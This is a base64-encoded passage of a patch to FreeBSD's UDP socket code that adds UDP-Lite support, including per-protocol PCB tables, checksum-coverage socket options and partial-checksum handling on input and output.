cCkKIAkJCQlJTlBfUlVOTE9DSyhpbnApOwotCQkJSU5QX0lORk9fUlVOTE9DSygmVl91ZGJpbmZv KTsKKwkJCUlOUF9JTkZPX1JVTkxPQ0socGNiaW5mbyk7CiAJCQlnb3RvIGJhZHVubG9ja2VkOwog CQl9CiAJCXVkcF9hcHBlbmQobGFzdCwgaXAsIG0sIGlwaGxlbiwgJnVkcF9pbik7CiAJCUlOUF9S VU5MT0NLKGxhc3QpOwotCQlJTlBfSU5GT19SVU5MT0NLKCZWX3VkYmluZm8pOworCQlJTlBfSU5G T19SVU5MT0NLKHBjYmluZm8pOwogCQlyZXR1cm47CiAJfQogCkBAIC01NTksNyArNjE0LDcgQEAg dWRwX2lucHV0KHN0cnVjdCBtYnVmICptLCBpbnQgb2ZmKQogCQkgKiBUcmFuc3BhcmVudGx5IGZv cndhcmRlZC4gUHJldGVuZCB0byBiZSB0aGUgZGVzdGluYXRpb24uCiAJCSAqIEFscmVhZHkgZ290 IG9uZSBsaWtlIHRoaXM/CiAJCSAqLwotCQlpbnAgPSBpbl9wY2Jsb29rdXBfbWJ1ZigmVl91ZGJp bmZvLCBpcC0+aXBfc3JjLCB1aC0+dWhfc3BvcnQsCisJCWlucCA9IGluX3BjYmxvb2t1cF9tYnVm KHBjYmluZm8sIGlwLT5pcF9zcmMsIHVoLT51aF9zcG9ydCwKIAkJICAgIGlwLT5pcF9kc3QsIHVo LT51aF9kcG9ydCwgSU5QTE9PS1VQX1JMT0NLUENCLCBpZnAsIG0pOwogCQlpZiAoIWlucCkgewog CQkJLyoKQEAgLTU2Nyw3ICs2MjIsNyBAQCB1ZHBfaW5wdXQoc3RydWN0IG1idWYgKm0sIGludCBv ZmYpCiAJCQkgKiBCZWNhdXNlIHdlJ3ZlIHJld3JpdHRlbiB0aGUgZGVzdGluYXRpb24gYWRkcmVz cywKIAkJCSAqIGFueSBoYXJkd2FyZS1nZW5lcmF0ZWQgaGFzaCBpcyBpZ25vcmVkLgogCQkJICov Ci0JCQlpbnAgPSBpbl9wY2Jsb29rdXAoJlZfdWRiaW5mbywgaXAtPmlwX3NyYywKKwkJCWlucCA9 IGluX3BjYmxvb2t1cChwY2JpbmZvLCBpcC0+aXBfc3JjLAogCQkJICAgIHVoLT51aF9zcG9ydCwg bmV4dF9ob3AtPnNpbl9hZGRyLAogCQkJICAgIG5leHRfaG9wLT5zaW5fcG9ydCA/IGh0b25zKG5l eHRfaG9wLT5zaW5fcG9ydCkgOgogCQkJICAgIHVoLT51aF9kcG9ydCwgSU5QTE9PS1VQX1dJTERD QVJEIHwKQEAgLTU3Nyw3ICs2MzIsNyBAQCB1ZHBfaW5wdXQoc3RydWN0IG1idWYgKm0sIGludCBv ZmYpCiAJCW1fdGFnX2RlbGV0ZShtLCBmd2RfdGFnKTsKIAkJbS0+bV9mbGFncyAmPSB+TV9JUF9O RVhUSE9QOwogCX0gZWxzZQotCQlpbnAgPSBpbl9wY2Jsb29rdXBfbWJ1ZigmVl91ZGJpbmZvLCBp cC0+aXBfc3JjLCB1aC0+dWhfc3BvcnQsCisJCWlucCA9IGluX3BjYmxvb2t1cF9tYnVmKHBjYmlu Zm8sIGlwLT5pcF9zcmMsIHVoLT51aF9zcG9ydCwKIAkJICAgIGlwLT5pcF9kc3QsIHVoLT51aF9k cG9ydCwgSU5QTE9PS1VQX1dJTERDQVJEIHwKIAkJICAgIElOUExPT0tVUF9STE9DS1BDQiwgaWZw LCBtKTsKIAlpZiAoaW5wID09IE5VTEwpIHsKQEAgLTYxMyw2ICs2NjgsMTYgQEAgdWRwX2lucHV0 KHN0cnVjdCBtYnVmICptLCBpbnQgb2ZmKQogCQltX2ZyZWVtKG0pOwogCQlyZXR1cm47CiAJfQor CWlmIChjc2Nvdl9wYXJ0aWFsKSB7CisJCXN0cnVjdCB1ZHBjYiAqdXA7CisKKwkJdXAgPSBpbnRv dWRwY2IoaW5wKTsKKwkJaWYgKHVwLT51X3J4Y3NsZW4gPiBsZW4pIHsKKwkJCUlOUF9SVU5MT0NL KGlucCk7CisJCQltX2ZyZWVtKG0pOworCQkJcmV0dXJuOworCQl9CisJfQogCXVkcF9hcHBlbmQo aW5wLCBpcCwgbSwgaXBobGVuLCAmdWRwX2luKTsKIAlJTlBfUlVOTE9DSyhpbnApOwogCXJldHVy bjsKQEAgLTY0NCw5ICs3MDksOSBAQCB1ZHBfbm90aWZ5KHN0cnVjdCBpbnBjYiAqaW5wLCBpbnQg ZXJybm8pCiAJcmV0dXJuIChpbnApOwogfQogCi0jaWZkZWYgSU5FVAotdm9pZAotdWRwX2N0bGlu cHV0KGludCBjbWQsIHN0cnVjdCBzb2NrYWRkciAqc2EsIHZvaWQgKnZpcCkKK3N0YXRpYyB2b2lk Cit1ZHBfY29tbW9uX2N0bGlucHV0KGludCBjbWQsIHN0cnVjdCBzb2NrYWRkciAqc2EsIHZvaWQg KnZpcCwKKyAgICBzdHJ1Y3QgaW5wY2JpbmZvICpwY2JpbmZvKQogewogCXN0cnVjdCBpcCAqaXAg PSB2aXA7CiAJc3RydWN0IHVkcGhkciAqdWg7CkBAIC02NzUsNyArNzQwLDcgQEAgdWRwX25vdGlm eShzdHJ1Y3QgaW5wY2IgKmlucCwgaW50IGVycm5vKQogCQlyZXR1cm47CiAJaWYgKGlwICE9IE5V TEwpIHsKIAkJdWggPSAoc3RydWN0IHVkcGhkciAqKSgoY2FkZHJfdClpcCArIChpcC0+aXBfaGwg PDwgMikpOwotCQlpbnAgPSBpbl9wY2Jsb29rdXAoJlZfdWRiaW5mbywgZmFkZHIsIHVoLT51aF9k cG9ydCwKKwkJaW5wID0gaW5fcGNibG9va3VwKHBjYmluZm8sIGZhZGRyLCB1aC0+dWhfZHBvcnQs CiAJCSAgICBpcC0+aXBfc3JjLCB1aC0+dWhfc3BvcnQsIElOUExPT0tVUF9STE9DS1BDQiwgTlVM TCk7CiAJCWlmIChpbnAgIT0gTlVMTCkgewogCQkJSU5QX1JMT0NLX0FTU0VSVChpbnApOwpAQCAt Njg1LDkgKzc1MCwyMyBAQCB1ZHBfbm90aWZ5KHN0cnVjdCBpbnBjYiAqaW5wLCBpbnQgZXJybm8p CiAJCQlJTlBfUlVOTE9DSyhpbnApOwogCQl9CiAJfSBlbHNlCi0JCWluX3BjYm5vdGlmeWFsbCgm Vl91ZGJpbmZvLCBmYWRkciwgaW5ldGN0bGVycm1hcFtjbWRdLAorCQlpbl9wY2Jub3RpZnlhbGwo cGNiaW5mbywgZmFkZHIsIGluZXRjdGxlcnJtYXBbY21kXSwKIAkJICAgIHVkcF9ub3RpZnkpOwor CXJldHVybjsKIH0KKworI2lmZGVmIElORVQKK3ZvaWQKK3VkcF9jdGxpbnB1dChpbnQgY21kLCBz dHJ1Y3Qgc29ja2FkZHIgKnNhLCB2b2lkICp2aXApCit7CisJcmV0dXJuICh1ZHBfY29tbW9uX2N0 bGlucHV0KGNtZCwgc2EsIHZpcCwgJlZfdWRiaW5mbykpOworfQorCit2b2lkCit1ZHBsaXRlX2N0 bGlucHV0KGludCBjbWQsIHN0cnVjdCBzb2NrYWRkciAqc2EsIHZvaWQgKnZpcCkKK3sKKwlyZXR1 cm4gKHVkcF9jb21tb25fY3RsaW5wdXQoY21kLCBzYSwgdmlwLCAmVl91bGl0ZWNiaW5mbykpOwor fQogI2VuZGlmIC8qIElORVQgKi8KIAogc3RhdGljIGludApAQCAtODQzLDE2ICs5MjIsMTYgQEAg U1lTQ1RMX1BST0MoX25ldF9pbmV0X3VkcCwgT0lEX0FVVE8sIGdldGNyZWQsCiBpbnQKIHVkcF9j dGxvdXRwdXQoc3RydWN0IHNvY2tldCAqc28sIHN0cnVjdCBzb2Nrb3B0ICpzb3B0KQogewotCWlu dCBlcnJvciA9IDAsIG9wdHZhbDsKKwlpbnQgaXN1ZHBsaXRlLCBlcnJvciwgb3B0dmFsOwogCXN0 cnVjdCBpbnBjYiAqaW5wOwotI2lmZGVmIElQU0VDX05BVF9UCiAJc3RydWN0IHVkcGNiICp1cDsK LSNlbmRpZgogCisJZXJyb3IgPSAwOworCWlzdWRwbGl0ZSA9IChzby0+c29fcHJvdG8tPnByX3By b3RvY29sID09IElQUFJPVE9fVURQTElURSkgPyAxIDogMDsKIAlpbnAgPSBzb3RvaW5wY2Ioc28p OwogCUtBU1NFUlQoaW5wICE9IE5VTEwsICgiJXM6IGlucCA9PSBOVUxMIiwgX19mdW5jX18pKTsK IAlJTlBfV0xPQ0soaW5wKTsKLQlpZiAoc29wdC0+c29wdF9sZXZlbCAhPSBJUFBST1RPX1VEUCkg eworCWlmIChzb3B0LT5zb3B0X2xldmVsICE9IHNvLT5zb19wcm90by0+cHJfcHJvdG9jb2wpIHsK ICNpZmRlZiBJTkVUNgogCQlpZiAoSU5QX0NIRUNLX1NPQ0tBRihzbywgQUZfSU5FVDYpKSB7CiAJ CQlJTlBfV1VOTE9DSyhpbnApOwpAQCAtOTEwLDcgKzk4OSwzMyBAQCB1ZHBfY3Rsb3V0cHV0KHN0 cnVjdCBzb2NrZXQgKnNvLCBzdHJ1Y3Qgc29ja29wdCAqcwogCQkJfQogCQkJSU5QX1dVTkxPQ0so aW5wKTsKIAkJCWJyZWFrOworCQljYXNlIFVEUExJVEVfU0VORF9DU0NPVjoKKwkJY2FzZSBVRFBM SVRFX1JFQ1ZfQ1NDT1Y6CisJCQlpZiAoIWlzdWRwbGl0ZSkKKwkJCQlnb3RvIGJhZF9zZXRvcHRu YW1lOworCQkJSU5QX1dVTkxPQ0soaW5wKTsKKwkJCWVycm9yID0gc29vcHRjb3B5aW4oc29wdCwg Jm9wdHZhbCwgc2l6ZW9mKG9wdHZhbCksCisJCQkgICAgc2l6ZW9mKG9wdHZhbCkpOworCQkJaWYg KGVycm9yKQorCQkJCWJyZWFrOworCQkJaW5wID0gc290b2lucGNiKHNvKTsKKwkJCUtBU1NFUlQo aW5wICE9IE5VTEwsICgiJXM6IGlucCA9PSBOVUxMIiwgX19mdW5jX18pKTsKKwkJCUlOUF9XTE9D SyhpbnApOworCQkJdXAgPSBpbnRvdWRwY2IoaW5wKTsKKwkJCUtBU1NFUlQodXAgIT0gTlVMTCwg KCIlczogdXAgPT0gTlVMTCIsIF9fZnVuY19fKSk7CisJCQlpZiAob3B0dmFsICE9IDAgJiYgb3B0 dmFsIDwgOCkgeworCQkJCWVycm9yID0gRUlOVkFMOworCQkJCUlOUF9XVU5MT0NLKGlucCk7CisJ CQkJYnJlYWs7CisJCQl9CisJCQlpZiAoc29wdC0+c29wdF9uYW1lID09IFVEUExJVEVfU0VORF9D U0NPVikKKwkJCQl1cC0+dV90eGNzbGVuID0gb3B0dmFsOworCQkJZWxzZQorCQkJCXVwLT51X3J4 Y3NsZW4gPSBvcHR2YWw7CisJCQlJTlBfV1VOTE9DSyhpbnApOworCQkJYnJlYWs7CiAJCWRlZmF1 bHQ6CitiYWRfc2V0b3B0bmFtZToKIAkJCUlOUF9XVU5MT0NLKGlucCk7CiAJCQllcnJvciA9IEVO T1BST1RPT1BUOwogCQkJYnJlYWs7CkBAIC05MjcsNyArMTAzMiwyMSBAQCB1ZHBfY3Rsb3V0cHV0 KHN0cnVjdCBzb2NrZXQgKnNvLCBzdHJ1Y3Qgc29ja29wdCAqcwogCQkJZXJyb3IgPSBzb29wdGNv cHlvdXQoc29wdCwgJm9wdHZhbCwgc2l6ZW9mIG9wdHZhbCk7CiAJCQlicmVhazsKICNlbmRpZgor CQljYXNlIFVEUExJVEVfU0VORF9DU0NPVjoKKwkJY2FzZSBVRFBMSVRFX1JFQ1ZfQ1NDT1Y6CisJ CQlpZiAoIWlzdWRwbGl0ZSkKKwkJCQlnb3RvIGJhZF9nZXRvcHRuYW1lOworCQkJdXAgPSBpbnRv dWRwY2IoaW5wKTsKKwkJCUtBU1NFUlQodXAgIT0gTlVMTCwgKCIlczogdXAgPT0gTlVMTCIsIF9f ZnVuY19fKSk7CisJCQlpZiAoc29wdC0+c29wdF9uYW1lID09IFVEUExJVEVfU0VORF9DU0NPVikK KwkJCQlvcHR2YWwgPSB1cC0+dV90eGNzbGVuOworCQkJZWxzZQorCQkJCW9wdHZhbCA9IHVwLT51 X3J4Y3NsZW47CisJCQlJTlBfV1VOTE9DSyhpbnApOworCQkJZXJyb3IgPSBzb29wdGNvcHlvdXQo c29wdCwgJm9wdHZhbCwgc2l6ZW9mKG9wdHZhbCkpOworCQkJYnJlYWs7CiAJCWRlZmF1bHQ6Citi YWRfZ2V0b3B0bmFtZToKIAkJCUlOUF9XVU5MT0NLKGlucCk7CiAJCQllcnJvciA9IEVOT1BST1RP T1BUOwogCQkJYnJlYWs7CkBAIC05NDksMTIgKzEwNjgsMTYgQEAgdWRwX291dHB1dChzdHJ1Y3Qg aW5wY2IgKmlucCwgc3RydWN0IG1idWYgKm0sIHN0cnUKIAlpbnQgbGVuID0gbS0+bV9wa3RoZHIu bGVuOwogCXN0cnVjdCBpbl9hZGRyIGZhZGRyLCBsYWRkcjsKIAlzdHJ1Y3QgY21zZ2hkciAqY207 CisJc3RydWN0IGlucGNiaW5mbyAqcGNiaW5mbzsKIAlzdHJ1Y3Qgc29ja2FkZHJfaW4gKnNpbiwg c3JjOworCWludCBjc2Nvdl9wYXJ0aWFsID0gMDsKIAlpbnQgZXJyb3IgPSAwOwogCWludCBpcGZs YWdzOwogCXVfc2hvcnQgZnBvcnQsIGxwb3J0OwogCWludCB1bmxvY2tfdWRiaW5mbzsKIAl1X2No YXIgdG9zOworCXVpbnQ4X3QgcHI7CisJdWludDE2X3QgY3Njb3YgPSAwOwogCiAJLyoKIAkgKiB1 ZHBfb3V0cHV0KCkgbWF5IG5lZWQgdG8gdGVtcG9yYXJpbHkgYmluZCBvciBjb25uZWN0IHRoZSBj dXJyZW50CkBAIC0xMDQ5LDEyICsxMTcyLDEzIEBAIHVkcF9vdXRwdXQoc3RydWN0IGlucGNiICpp bnAsIHN0cnVjdCBtYnVmICptLCBzdHJ1CiAJICoKIAkgKiBYWFhSVzogQ2hlY2sgdGhhdCBoYXNo IGxvY2tpbmcgdXBkYXRlIGhlcmUgaXMgY29ycmVjdC4KIAkgKi8KKwlwY2JpbmZvID0gaW5wLT5p bnBfcGNiaW5mbzsKIAlzaW4gPSAoc3RydWN0IHNvY2thZGRyX2luICopYWRkcjsKIAlpZiAoc2lu ICE9IE5VTEwgJiYKIAkgICAgKGlucC0+aW5wX2xhZGRyLnNfYWRkciA9PSBJTkFERFJfQU5ZICYm IGlucC0+aW5wX2xwb3J0ID09IDApKSB7CiAJCUlOUF9SVU5MT0NLKGlucCk7CiAJCUlOUF9XTE9D SyhpbnApOwotCQlJTlBfSEFTSF9XTE9DSygmVl91ZGJpbmZvKTsKKwkJSU5QX0hBU0hfV0xPQ0so cGNiaW5mbyk7CiAJCXVubG9ja191ZGJpbmZvID0gVUhfV0xPQ0tFRDsKIAl9IGVsc2UgaWYgKChz aW4gIT0gTlVMTCAmJiAoCiAJICAgIChzaW4tPnNpbl9hZGRyLnNfYWRkciA9PSBJTkFERFJfQU5Z KSB8fApAQCAtMTA2Miw3ICsxMTg2LDcgQEAgdWRwX291dHB1dChzdHJ1Y3QgaW5wY2IgKmlucCwg c3RydWN0IG1idWYgKm0sIHN0cnUKIAkgICAgKGlucC0+aW5wX2xhZGRyLnNfYWRkciA9PSBJTkFE RFJfQU5ZKSB8fAogCSAgICAoaW5wLT5pbnBfbHBvcnQgPT0gMCkpKSB8fAogCSAgICAoc3JjLnNp bl9mYW1pbHkgPT0gQUZfSU5FVCkpIHsKLQkJSU5QX0hBU0hfUkxPQ0soJlZfdWRiaW5mbyk7CisJ CUlOUF9IQVNIX1JMT0NLKHBjYmluZm8pOwogCQl1bmxvY2tfdWRiaW5mbyA9IFVIX1JMT0NLRUQ7 CiAJfSBlbHNlCiAJCXVubG9ja191ZGJpbmZvID0gVUhfVU5MT0NLRUQ7CkBAIC0xMDc1LDcgKzEx OTksNyBAQCB1ZHBfb3V0cHV0KHN0cnVjdCBpbnBjYiAqaW5wLCBzdHJ1Y3QgbWJ1ZiAqbSwgc3Ry dQogCWxhZGRyID0gaW5wLT5pbnBfbGFkZHI7CiAJbHBvcnQgPSBpbnAtPmlucF9scG9ydDsKIAlp ZiAoc3JjLnNpbl9mYW1pbHkgPT0gQUZfSU5FVCkgewotCQlJTlBfSEFTSF9MT0NLX0FTU0VSVCgm Vl91ZGJpbmZvKTsKKwkJSU5QX0hBU0hfTE9DS19BU1NFUlQocGNiaW5mbyk7CiAJCWlmICgobHBv cnQgPT0gMCkgfHwKIAkJICAgIChsYWRkci5zX2FkZHIgPT0gSU5BRERSX0FOWSAmJgogCQkgICAg IHNyYy5zaW5fYWRkci5zX2FkZHIgPT0gSU5BRERSX0FOWSkpIHsKQEAgLTExMjYsNyArMTI1MCw3 IEBAIHVkcF9vdXRwdXQoc3RydWN0IGlucGNiICppbnAsIHN0cnVjdCBtYnVmICptLCBzdHJ1CiAJ CSAgICBpbnAtPmlucF9scG9ydCA9PSAwIHx8CiAJCSAgICBzaW4tPnNpbl9hZGRyLnNfYWRkciA9 PSBJTkFERFJfQU5ZIHx8CiAJCSAgICBzaW4tPnNpbl9hZGRyLnNfYWRkciA9PSBJTkFERFJfQlJP QURDQVNUKSB7Ci0JCQlJTlBfSEFTSF9MT0NLX0FTU0VSVCgmVl91ZGJpbmZvKTsKKwkJCUlOUF9I QVNIX0xPQ0tfQVNTRVJUKHBjYmluZm8pOwogCQkJZXJyb3IgPSBpbl9wY2Jjb25uZWN0X3NldHVw KGlucCwgYWRkciwgJmxhZGRyLnNfYWRkciwKIAkJCSAgICAmbHBvcnQsICZmYWRkci5zX2FkZHIs ICZmcG9ydCwgTlVMTCwKIAkJCSAgICB0ZC0+dGRfdWNyZWQpOwpAQCAtMTE0MSw3ICsxMjY1LDcg QEAgdWRwX291dHB1dChzdHJ1Y3QgaW5wY2IgKmlucCwgc3RydWN0IG1idWYgKm0sIHN0cnUKIAkJ CWlmIChpbnAtPmlucF9sYWRkci5zX2FkZHIgPT0gSU5BRERSX0FOWSAmJgogCQkJICAgIGlucC0+ aW5wX2xwb3J0ID09IDApIHsKIAkJCQlJTlBfV0xPQ0tfQVNTRVJUKGlucCk7Ci0JCQkJSU5QX0hB U0hfV0xPQ0tfQVNTRVJUKCZWX3VkYmluZm8pOworCQkJCUlOUF9IQVNIX1dMT0NLX0FTU0VSVChw Y2JpbmZvKTsKIAkJCQkvKgogCQkJCSAqIFJlbWVtYmVyIGFkZHIgaWYgamFpbGVkLCB0byBwcmV2 ZW50CiAJCQkJICogcmViaW5kaW5nLgpAQCAtMTE4OCwxNSArMTMxMiwzNSBAQCB1ZHBfb3V0cHV0 KHN0cnVjdCBpbnBjYiAqaW5wLCBzdHJ1Y3QgbWJ1ZiAqbSwgc3RydQogCSAqIEZpbGwgaW4gbWJ1 ZiB3aXRoIGV4dGVuZGVkIFVEUCBoZWFkZXIgYW5kIGFkZHJlc3NlcyBhbmQgbGVuZ3RoIHB1dAog CSAqIGludG8gbmV0d29yayBmb3JtYXQuCiAJICovCisJcHIgPSBJUFBST1RPX1VEUDsKIAl1aSA9 IG10b2QobSwgc3RydWN0IHVkcGlwaGRyICopOwogCWJ6ZXJvKHVpLT51aV94MSwgc2l6ZW9mKHVp LT51aV94MSkpOwkvKiBYWFggc3RpbGwgbmVlZGVkPyAqLwotCXVpLT51aV9wciA9IElQUFJPVE9f VURQOwogCXVpLT51aV9zcmMgPSBsYWRkcjsKIAl1aS0+dWlfZHN0ID0gZmFkZHI7CiAJdWktPnVp X3Nwb3J0ID0gbHBvcnQ7CiAJdWktPnVpX2Rwb3J0ID0gZnBvcnQ7CiAJdWktPnVpX3VsZW4gPSBo dG9ucygodV9zaG9ydClsZW4gKyBzaXplb2Yoc3RydWN0IHVkcGhkcikpOwogCisJaWYgKGlucC0+ aW5wX3NvY2tldC0+c29fcHJvdG8tPnByX3Byb3RvY29sID09IElQUFJPVE9fVURQTElURSkgewor CQlzdHJ1Y3QgdWRwY2IgKnVwOworCQl1aW50MTZfdCBwbGVuOworCisJCXByID0gSVBQUk9UT19V RFBMSVRFOworCQl1cCA9IGludG91ZHBjYihpbnApOworCQljc2NvdiA9IHVwLT51X3R4Y3NsZW47 CisJCXBsZW4gPSAodV9zaG9ydClsZW4gKyBzaXplb2Yoc3RydWN0IHVkcGhkcik7CisJCWlmIChj c2NvdiA+PSBwbGVuKQorCQkJY3Njb3YgPSAwOworCQl1aS0+dWlfbGVuID0gaHRvbnMocGxlbik7 CisJCXVpLT51aV91bGVuID0gaHRvbnMoY3Njb3YpOworCisJCS8qIEZvciBVRFBMaXRlLCBjaGVj a3N1bSBjb3ZlcmFnZSBsZW5ndGggb2YgemVybyBtZWFucworCQkgKiB0aGUgZW50aXJlIFVEUExp dGUgcGFja2V0IGlzIGNvdmVyZWQgYnkgdGhlIGNoZWNrc3VtLgorCQkgKi8KKwkJY3Njb3ZfcGFy dGlhbCA9IChjc2NvdiA9PSAwKSA/IDAgOiAxOworCX0KKwl1aS0+dWlfcHIgPSBwcjsKKwogCS8q CiAJICogU2V0IHRoZSBEb24ndCBGcmFnbWVudCBiaXQgaW4gdGhlIElQIGhlYWRlci4KIAkgKi8K QEAgLTEyMjIsMjQgKzEzNjYsMjkgQEAgdWRwX291dHB1dChzdHJ1Y3QgaW5wY2IgKmlucCwgc3Ry dWN0IG1idWYgKm0sIHN0cnUKIAkvKgogCSAqIFNldCB1cCBjaGVja3N1bSBhbmQgb3V0cHV0IGRh dGFncmFtLgogCSAqLwotCWlmIChWX3VkcF9ja3N1bSkgeworCXVpLT51aV9zdW0gPSAwOworCWlm IChjc2Nvdl9wYXJ0aWFsKSB7CiAJCWlmIChpbnAtPmlucF9mbGFncyAmIElOUF9PTkVTQkNBU1Qp CiAJCQlmYWRkci5zX2FkZHIgPSBJTkFERFJfQlJPQURDQVNUOworCQlpZiAoKHVpLT51aV9zdW0g PSBpbl9ja3N1bShtLCBzaXplb2Yoc3RydWN0IGlwKSArIGNzY292KSkgPT0gMCkKKwkJCXVpLT51 aV9zdW0gPSAweGZmZmY7CisJfSBlbHNlIGlmIChWX3VkcF9ja3N1bSB8fCAhY3Njb3ZfcGFydGlh bCkgeworCQlpZiAoaW5wLT5pbnBfZmxhZ3MgJiBJTlBfT05FU0JDQVNUKQorCQkJZmFkZHIuc19h ZGRyID0gSU5BRERSX0JST0FEQ0FTVDsKIAkJdWktPnVpX3N1bSA9IGluX3BzZXVkbyh1aS0+dWlf c3JjLnNfYWRkciwgZmFkZHIuc19hZGRyLAotCQkgICAgaHRvbnMoKHVfc2hvcnQpbGVuICsgc2l6 ZW9mKHN0cnVjdCB1ZHBoZHIpICsgSVBQUk9UT19VRFApKTsKKwkJICAgIGh0b25zKCh1X3Nob3J0 KWxlbiArIHNpemVvZihzdHJ1Y3QgdWRwaGRyKSArIHByKSk7CiAJCW0tPm1fcGt0aGRyLmNzdW1f ZmxhZ3MgPSBDU1VNX1VEUDsKIAkJbS0+bV9wa3RoZHIuY3N1bV9kYXRhID0gb2Zmc2V0b2Yoc3Ry dWN0IHVkcGhkciwgdWhfc3VtKTsKLQl9IGVsc2UKLQkJdWktPnVpX3N1bSA9IDA7CisJfQogCSgo c3RydWN0IGlwICopdWkpLT5pcF9sZW4gPSBodG9ucyhzaXplb2Yoc3RydWN0IHVkcGlwaGRyKSAr IGxlbik7CiAJKChzdHJ1Y3QgaXAgKil1aSktPmlwX3R0bCA9IGlucC0+aW5wX2lwX3R0bDsJLyog WFhYICovCiAJKChzdHJ1Y3QgaXAgKil1aSktPmlwX3RvcyA9IHRvczsJCS8qIFhYWCAqLwogCVVE UFNUQVRfSU5DKHVkcHNfb3BhY2tldHMpOwogCiAJaWYgKHVubG9ja191ZGJpbmZvID09IFVIX1dM T0NLRUQpCi0JCUlOUF9IQVNIX1dVTkxPQ0soJlZfdWRiaW5mbyk7CisJCUlOUF9IQVNIX1dVTkxP Q0socGNiaW5mbyk7CiAJZWxzZSBpZiAodW5sb2NrX3VkYmluZm8gPT0gVUhfUkxPQ0tFRCkKLQkJ SU5QX0hBU0hfUlVOTE9DSygmVl91ZGJpbmZvKTsKKwkJSU5QX0hBU0hfUlVOTE9DSyhwY2JpbmZv KTsKIAllcnJvciA9IGlwX291dHB1dChtLCBpbnAtPmlucF9vcHRpb25zLCBOVUxMLCBpcGZsYWdz LAogCSAgICBpbnAtPmlucF9tb3B0aW9ucywgaW5wKTsKIAlpZiAodW5sb2NrX3VkYmluZm8gPT0g VUhfV0xPQ0tFRCkKQEAgLTEyNTAsMTAgKzEzOTksMTAgQEAgdWRwX291dHB1dChzdHJ1Y3QgaW5w Y2IgKmlucCwgc3RydWN0IG1idWYgKm0sIHN0cnUKIAogcmVsZWFzZToKIAlpZiAodW5sb2NrX3Vk YmluZm8gPT0gVUhfV0xPQ0tFRCkgewotCQlJTlBfSEFTSF9XVU5MT0NLKCZWX3VkYmluZm8pOwor CQlJTlBfSEFTSF9XVU5MT0NLKHBjYmluZm8pOwogCQlJTlBfV1VOTE9DSyhpbnApOwogCX0gZWxz ZSBpZiAodW5sb2NrX3VkYmluZm8gPT0gVUhfUkxPQ0tFRCkgewotCQlJTlBfSEFTSF9SVU5MT0NL KCZWX3VkYmluZm8pOworCQlJTlBfSEFTSF9SVU5MT0NLKHBjYmluZm8pOwogCQlJTlBfUlVOTE9D SyhpbnApOwogCX0gZWxzZQogCQlJTlBfUlVOTE9DSyhpbnApOwpAQCAtMTQwNSwxMCArMTU1NCwx MCBAQCB1ZHBfYWJvcnQoc3RydWN0IHNvY2tldCAqc28pCiAJS0FTU0VSVChpbnAgIT0gTlVMTCwg KCJ1ZHBfYWJvcnQ6IGlucCA9PSBOVUxMIikpOwogCUlOUF9XTE9DSyhpbnApOwogCWlmIChpbnAt PmlucF9mYWRkci5zX2FkZHIgIT0gSU5BRERSX0FOWSkgewotCQlJTlBfSEFTSF9XTE9DSygmVl91 ZGJpbmZvKTsKKwkJSU5QX0hBU0hfV0xPQ0soaW5wLT5pbnBfcGNiaW5mbyk7CiAJCWluX3BjYmRp c2Nvbm5lY3QoaW5wKTsKIAkJaW5wLT5pbnBfbGFkZHIuc19hZGRyID0gSU5BRERSX0FOWTsKLQkJ SU5QX0hBU0hfV1VOTE9DSygmVl91ZGJpbmZvKTsKKwkJSU5QX0hBU0hfV1VOTE9DSyhpbnAtPmlu cF9wY2JpbmZvKTsKIAkJc29pc2Rpc2Nvbm5lY3RlZChzbyk7CiAJfQogCUlOUF9XVU5MT0NLKGlu cCk7CkBAIC0xNDE4LDE3ICsxNTY3LDIzIEBAIHN0YXRpYyBpbnQKIHVkcF9hdHRhY2goc3RydWN0 IHNvY2tldCAqc28sIGludCBwcm90bywgc3RydWN0IHRocmVhZCAqdGQpCiB7CiAJc3RydWN0IGlu cGNiICppbnA7CisgICAgICAgIHN0cnVjdCBpbnBjYmluZm8gKnBjYmluZm87CiAJaW50IGVycm9y OwogCisJaWYgKHNvLT5zb19wcm90by0+cHJfcHJvdG9jb2wgPT0gSVBQUk9UT19VRFApCisJCXBj YmluZm8gPSAmVl91ZGJpbmZvOworCWVsc2UKKwkJcGNiaW5mbyA9ICZWX3VsaXRlY2JpbmZvOwor CiAJaW5wID0gc290b2lucGNiKHNvKTsKIAlLQVNTRVJUKGlucCA9PSBOVUxMLCAoInVkcF9hdHRh Y2g6IGlucCAhPSBOVUxMIikpOwogCWVycm9yID0gc29yZXNlcnZlKHNvLCB1ZHBfc2VuZHNwYWNl LCB1ZHBfcmVjdnNwYWNlKTsKIAlpZiAoZXJyb3IpCiAJCXJldHVybiAoZXJyb3IpOwotCUlOUF9J TkZPX1dMT0NLKCZWX3VkYmluZm8pOwotCWVycm9yID0gaW5fcGNiYWxsb2Moc28sICZWX3VkYmlu Zm8pOworCUlOUF9JTkZPX1dMT0NLKHBjYmluZm8pOworCWVycm9yID0gaW5fcGNiYWxsb2Moc28s IHBjYmluZm8pOwogCWlmIChlcnJvcikgewotCQlJTlBfSU5GT19XVU5MT0NLKCZWX3VkYmluZm8p OworCQlJTlBfSU5GT19XVU5MT0NLKHBjYmluZm8pOwogCQlyZXR1cm4gKGVycm9yKTsKIAl9CiAK QEAgLTE0NDAsMTMgKzE1OTUsMTQgQEAgdWRwX2F0dGFjaChzdHJ1Y3Qgc29ja2V0ICpzbywgaW50 IHByb3RvLCBzdHJ1Y3QgdGgKIAlpZiAoZXJyb3IpIHsKIAkJaW5fcGNiZGV0YWNoKGlucCk7CiAJ CWluX3BjYmZyZWUoaW5wKTsKLQkJSU5QX0lORk9fV1VOTE9DSygmVl91ZGJpbmZvKTsKKwkJSU5Q X0lORk9fV1VOTE9DSyhwY2JpbmZvKTsKIAkJcmV0dXJuIChlcnJvcik7CiAJfQogCiAJSU5QX1dV TkxPQ0soaW5wKTsKLQlJTlBfSU5GT19XVU5MT0NLKCZWX3VkYmluZm8pOworCUlOUF9JTkZPX1dV TkxPQ0socGNiaW5mbyk7CiAJcmV0dXJuICgwKTsKKwogfQogI2VuZGlmIC8qIElORVQgKi8KIApA QCAtMTQ4MSw5ICsxNjM3LDkgQEAgdWRwX2JpbmQoc3RydWN0IHNvY2tldCAqc28sIHN0cnVjdCBz b2NrYWRkciAqbmFtLAogCWlucCA9IHNvdG9pbnBjYihzbyk7CiAJS0FTU0VSVChpbnAgIT0gTlVM TCwgKCJ1ZHBfYmluZDogaW5wID09IE5VTEwiKSk7CiAJSU5QX1dMT0NLKGlucCk7Ci0JSU5QX0hB U0hfV0xPQ0soJlZfdWRiaW5mbyk7CisJSU5QX0hBU0hfV0xPQ0soaW5wLT5pbnBfcGNiaW5mbyk7 